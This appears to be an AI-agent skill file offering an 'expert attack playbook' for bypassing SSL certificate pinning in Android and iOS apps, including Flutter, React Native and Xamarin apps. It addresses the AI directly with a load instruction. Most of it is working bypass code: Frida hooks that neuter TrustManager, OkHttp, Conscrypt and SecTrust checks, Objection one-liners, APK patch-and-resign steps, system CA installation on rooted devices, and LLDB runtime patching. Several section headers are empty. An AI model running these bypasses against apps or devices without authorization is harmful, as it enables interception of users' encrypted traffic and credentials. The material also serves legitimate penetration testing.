mobile-ssl-pinning-bypass

name: mobile-ssl-pinning-bypass description: >- Mobile SSL pinning bypass playbook. Use when intercepting HTTPS traffic from mobile applications that implement certificate pinning, public key pinning, or SPKI hash pinning on Android and iOS, including React Native, Flutter, and Xamarin frameworks.

SKILL: Mobile SSL Pinning Bypass — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert SSL pinning bypass techniques for mobile platforms. Covers Android and iOS bypass methods (Frida, Objection, Xposed, SSL Kill Switch), framework-specific bypasses (Flutter, React Native, Xamarin), and troubleshooting non-standard pinning implementations. Base models miss framework-specific hook points and multi-layer pinning configurations.

0. RELATED ROUTING

Before going deep, consider loading:

• android-pentesting-tricks for broader Android testing beyond SSL bypass
• ios-pentesting-tricks for broader iOS testing beyond SSL bypass
• api-sec once traffic is intercepted for API-level testing

1. SSL PINNING TYPES

How Pinning Works

TLS Handshake
│
├── Server presents certificate chain
│
├── Standard validation (system trust store)
│   └── Passes? continue : connection fails
│
└── Pin validation (app-level check)
    ├── Extract server cert/pubkey/SPKI hash
    ├── Compare against embedded pins
    └── Match found? → allow : → reject connection

2. ANDROID BYPASS METHODS

2.1 Frida Universal SSL Bypass

// Hooks TrustManager, OkHttp, Volley, Retrofit, Conscrypt
Java.perform(function() {

    // ── TrustManagerImpl (Android system) ──
    try {
        var TMI = Java.use('com.android.org.conscrypt.TrustManagerImpl');
        TMI.verifyChain.implementation = function() {
            console.log('[Bypass] TrustManagerImpl.verifyChain');
            return arguments[0]; // return untouched chain
        };
    } catch(e) {}

    // ── X509TrustManager (custom implementations) ──
    var TrustManager = Java.registerClass({
        name: 'com.bypass.TrustManager',
        implements: [Java.use('javax.net.ssl.X509TrustManager')],
        methods: {
            checkClientTrusted: function() {},
            checkServerTrusted: function() {},
            getAcceptedIssuers: function() { return []; }
        }
    });

    var SSLContext = Java.use('javax.net.ssl.SSLContext');
    SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;',
        '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom')
        .implementation = function(km, tm, sr) {
        console.log('[Bypass] SSLContext.init');
        this.init(km, [TrustManager.$new()], sr);
    };

    // ── OkHttp3 CertificatePinner ──
    try {
        var CP = Java.use('okhttp3.CertificatePinner');
        CP.check.overload('java.lang.String', 'java.util.List').implementation = function() {
            console.log('[Bypass] OkHttp3 CertificatePinner.check: ' + arguments[0]);
        };
        // check$okhttp variant (OkHttp 4.x)
        try { CP['check$okhttp'].implementation = function() {}; } catch(e) {}
    } catch(e) {}

    // ── Retrofit / OkHttp interceptor ──
    try {
        var OkHttpClient = Java.use('okhttp3.OkHttpClient$Builder');
        OkHttpClient.certificatePinner.implementation = function(pinner) {
            console.log('[Bypass] OkHttpClient.Builder.certificatePinner');
            return this; // return builder without pinner
        };
    } catch(e) {}

    // ── Volley (HurlStack) ──
    try {
        var HurlStack = Java.use('com.android.volley.toolbox.HurlStack');
        HurlStack.createConnection.implementation = function(url) {
            console.log('[Bypass] Volley HurlStack: ' + url);
            var conn = this.createConnection(url);
            // Remove hostname verifier
            conn.setHostnameVerifier(Java.use(
                'javax.net.ssl.HttpsURLConnection').getDefaultHostnameVerifier());
            return conn;
        };
    } catch(e) {}

    // ── Conscrypt / BoringSSL (modern Android) ──
    try {
        var Conscrypt = Java.use('org.conscrypt.ConscryptFileDescriptorSocket');
        Conscrypt.verifyCertificateChain.implementation = function() {
            console.log('[Bypass] Conscrypt verifyCertificateChain');
        };
    } catch(e) {}

    // ── Apache HttpClient (legacy) ──
    try {
        var AbstractVerifier = Java.use('org.apache.http.conn.ssl.AbstractVerifier');
        AbstractVerifier.verify.overload('java.lang.String', '[Ljava.lang.String;',
            '[Ljava.lang.String;', 'boolean').implementation = function() {
            console.log('[Bypass] Apache AbstractVerifier');
        };
    } catch(e) {}

    // ── HostnameVerifier ──
    try {
        var HV = Java.use('javax.net.ssl.HttpsURLConnection');
        HV.setDefaultHostnameVerifier.implementation = function(v) {
            console.log('[Bypass] Ignoring custom HostnameVerifier');
        };
    } catch(e) {}

    console.log('[+] Android universal SSL bypass loaded');
});

2.2 Objection (One Command)

objection -g com.target.app explore --startup-command "android sslpinning disable"

2.3 Network Security Config (Debug Override)

<!-- AndroidManifest.xml: android:networkSecurityConfig="@xml/network_security_config" -->

<!-- res/xml/network_security_config.xml -->
<network-security-config>
  <base-config>
    <trust-anchors>
      <certificates src="system" />
      <certificates src="user" />     <!-- Trust user-installed CAs -->
    </trust-anchors>
  </base-config>
</network-security-config>

Workflow: decompile APK → add/modify config → repackage → re-sign → install.

apktool d target.apk -o target_dir
# Edit res/xml/network_security_config.xml
# Add reference in AndroidManifest.xml if missing
apktool b target_dir -o target_patched.apk
zipalign -v 4 target_patched.apk target_aligned.apk
apksigner sign --ks my-key.keystore target_aligned.apk
adb install target_aligned.apk

2.4 Xposed / LSPosed Modules

2.5 Magisk + System CA Installation

# Install proxy CA as system cert (Android 7+ requires this for system-level trust)
# Method 1: MagiskTrustUserCerts module
# Moves user CAs to /system/etc/security/cacerts/ via Magisk overlay

# Method 2: Manual (requires root)
adb push burp_ca.pem /sdcard/
adb shell
su
mount -o remount,rw /system
cp /sdcard/burp_ca.pem /system/etc/security/cacerts/9a5ba575.0  # hash-named
chmod 644 /system/etc/security/cacerts/9a5ba575.0
mount -o remount,ro /system

# Get correct hash filename:
openssl x509 -inform PEM -subject_hash_old -in burp_ca.pem | head -1
# Output: 9a5ba575 → filename is 9a5ba575.0

2.6 Manual Decompile → Patch → Repackage

# Step 1: Decompile
jadx -d decompiled/ target.apk

# Step 2: Find pinning code
grep -r "CertificatePinner\|X509TrustManager\|checkServerTrusted\|ssl" decompiled/

# Step 3: Identify pinning implementation and patch
# Use smali editing for precise control:
apktool d target.apk
# Edit smali files to NOP out pinning checks
# Look for invoke-virtual {checkServerTrusted} and replace with return-void

# Step 4: Repackage and sign
apktool b target_dir -o patched.apk
apksigner sign --ks debug.keystore patched.apk

3. iOS BYPASS METHODS

3.1 Frida (SecTrust Hooks)

// Hook core iOS SSL validation functions
var SecTrustEvaluateWithError = Module.findExportByName('Security', 'SecTrustEvaluateWithError');
Interceptor.attach(SecTrustEvaluateWithError, {
    onLeave: function(retval) {
        retval.replace(ptr(1));
    }
});

var SecTrustEvaluate = Module.findExportByName('Security', 'SecTrustEvaluate');
Interceptor.attach(SecTrustEvaluate, {
    onLeave: function(retval) {
        retval.replace(ptr(0));
    }
});

// Hook SSLHandshake (lower-level)
var SSLHandshake = Module.findExportByName('Security', 'SSLHandshake');
if (SSLHandshake) {
    Interceptor.attach(SSLHandshake, {
        onLeave: function(retval) {
            if (retval.toInt32() === -9807) { // errSSLXCertChainInvalid
                retval.replace(ptr(0));
            }
        }
    });
}

// Hook NSURLSession delegate method
try {
    var cls = ObjC.classes.NSURLSession;
    // Hook URLSession:didReceiveChallenge:completionHandler: on delegates
    ObjC.enumerateLoadedClasses({
        onMatch: function(name) {
            try {
                var methods = ObjC.classes[name].$ownMethods;
                for (var i = 0; i < methods.length; i++) {
                    if (methods[i].indexOf('didReceiveChallenge') !== -1 &&
                        methods[i].indexOf('completionHandler') !== -1) {
                        console.log('[SSL] Found delegate: ' + name + ' ' + methods[i]);
                    }
                }
            } catch(e) {}
        },
        onComplete: function() {}
    });
} catch(e) {}

3.2 Objection (One Command)

objection -g com.target.app explore --startup-command "ios sslpinning disable"

3.3 SSL Kill Switch 2 (Jailbreak Tweak)

# Install via Cydia/Sileo
# Package: com.nablac0d3.sslkillswitch2
# Disables SSL pinning system-wide or per-app via Settings toggle

# Hooks:
# - SecTrustEvaluate
# - SSLHandshake
# - SSLSetSessionOption
# - tls_helper_create_peer_trust

3.4 Library-Specific Hooks

3.5 Manual Binary Patch

# Find pinning function in binary
strings decrypted_binary | grep -i "pin\|cert\|trust"
# Disassemble and find the validation function
# Replace comparison/branch instruction with NOP or unconditional pass

# LLDB runtime modification
lldb -n TargetApp
(lldb) breakpoint set -n "SecTrustEvaluateWithError"
(lldb) breakpoint command add 1
> thread return 1
> continue
> DONE

4. FRAMEWORK-SPECIFIC BYPASSES

4.1 Flutter

Flutter uses Dart's dart:io library with BoringSSL underneath. Standard Frida hooks on Java/ObjC layers don't work.

// Flutter SSL bypass — must hook BoringSSL directly
// Find ssl_crypto_x509_session_verify_cert_chain in libflutter.so
var libflutter = Process.findModuleByName('libflutter.so');  // Android
// var libflutter = Process.findModuleByName('Flutter');       // iOS

// Hook ssl_verify_peer_cert (BoringSSL function)
// Signature varies by Flutter version — use pattern scanning
var pattern = 'FF C3 ..';  // Example pattern, varies
var matches = Memory.scan(libflutter.base, libflutter.size, pattern, {
    onMatch: function(address, size) {
        console.log('[Flutter] Potential verify function at: ' + address);
        Interceptor.attach(address, {
            onLeave: function(retval) {
                retval.replace(ptr(0));  // SSL_VERIFY_OK
            }
        });
    },
    onComplete: function() {}
});

// Alternative: use reflutter tool for automated patching
// reflutter target.apk
// This patches BoringSSL in the Flutter engine directly

reflutter tool (recommended for Flutter apps):

pip install reflutter
reflutter target.apk
# Outputs patched APK that redirects traffic to your proxy
# Also disables SSL verification in the BoringSSL engine

4.2 React Native

React Native uses platform networking: OkHttp on Android, NSURLSession on iOS.

// React Native Android — same as OkHttp bypass
Java.perform(function() {
    try {
        var CP = Java.use('okhttp3.CertificatePinner');
        CP.check.overload('java.lang.String', 'java.util.List').implementation = function() {};
    } catch(e) { console.log('OkHttp3 not found, trying okhttp2...'); }

    try {
        var CP2 = Java.use('com.squareup.okhttp.CertificatePinner');
        CP2.check.overload('java.lang.String', 'java.util.List').implementation = function() {};
    } catch(e) {}
});

4.3 Xamarin

// Xamarin pinning typically via:
// ServicePointManager.ServerCertificateValidationCallback
// or custom HttpClientHandler

// Frida bypass for Xamarin (Mono runtime)
// Hook Mono method: System.Net.ServicePointManager.set_ServerCertificateValidationCallback
var mono_method = Module.findExportByName('libmonosgen-2.0.so',
    'mono_runtime_invoke');
// More practical: hook the managed callback at CIL level
// Use Frida's Mono bridge or objection's built-in Xamarin support

// Objection has built-in Xamarin bypass:
// objection -g com.target.app explore
// > android sslpinning disable   (covers Xamarin on Android)

5. CERTIFICATE TRANSPARENCY & HPKP

6. TROUBLESHOOTING

6.1 Common Failures

6.2 Diagnostic Steps

# Verify proxy CA is installed correctly
# Android:
adb shell "ls /system/etc/security/cacerts/ | grep $(openssl x509 -subject_hash_old -in ca.pem | head -1)"

# iOS: Settings → General → About → Certificate Trust Settings

# Check if target app is actually using SSL (vs. plain HTTP)
# Wireshark filter: tcp.port == 443 and ip.addr == <device_ip>

# Check if Frida is hooking the right process
frida-ps -U | grep target

# Verbose Frida output for debugging hooks
frida -U -f com.target.app -l bypass.js --debug

7. SSL PINNING BYPASS DECISION TREE

Need to intercept mobile app HTTPS traffic
│
├── Platform?
│   ├── Android ↓
│   │   ├── Rooted device available?
│   │   │   ├── Yes → Frida universal bypass (§2.1) [FIRST TRY]
│   │   │   │   ├── Works? → done
│   │   │   │   └── Fails? → add Conscrypt + Volley hooks
│   │   │   ├── Still fails? → LSPosed + TrustMeAlready (§2.4)
│   │   │   └── Still fails? → install CA as system cert (§2.5)
│   │   └── No root?
│   │       ├── Debug build? → Network Security Config (§2.3)
│   │       └── Release build? → decompile + patch + repackage (§2.6)
│   │
│   └── iOS ↓
│       ├── Jailbroken device available?
│       │   ├── Yes → Objection ios sslpinning disable (§3.2) [FIRST TRY]
│       │   │   ├── Works? → done
│       │   │   └── Fails? → Frida SecTrust hooks (§3.1)
│       │   ├── Still fails? → SSL Kill Switch 2 (§3.3)
│       │   └── Still fails? → library-specific hooks (§3.4)
│       └── No jailbreak?
│           ├── Re-sign with Frida gadget → run Frida hooks
│           └── Binary patch → sideload (§3.5)
│
├── Framework-specific app?
│   ├── Flutter → reflutter tool or BoringSSL native hooks (§4.1)
│   ├── React Native → standard platform hooks (§4.2)
│   └── Xamarin → Objection or Mono runtime hooks (§4.3)
│
├── Bypass works but issues remain?
│   ├── Client cert required? → extract + import to proxy (§6.1)
│   ├── Non-HTTP protocol? → protocol-specific tooling (§6.1)
│   └── App crashes? → fix anti-tampering first (§6.1)
│
└── All methods fail?
    ├── Analyze traffic at network level (Wireshark/tcpdump)
    ├── Check for custom proprietary protocol
    └── Consider iptables + transparent proxy approach

8. PROXY SETUP QUICK REFERENCE

# Android proxy setup
adb shell settings put global http_proxy <host_ip>:8080

# Remove proxy
adb shell settings put global http_proxy :0

# iOS proxy: Settings → Wi-Fi → Configure Proxy → Manual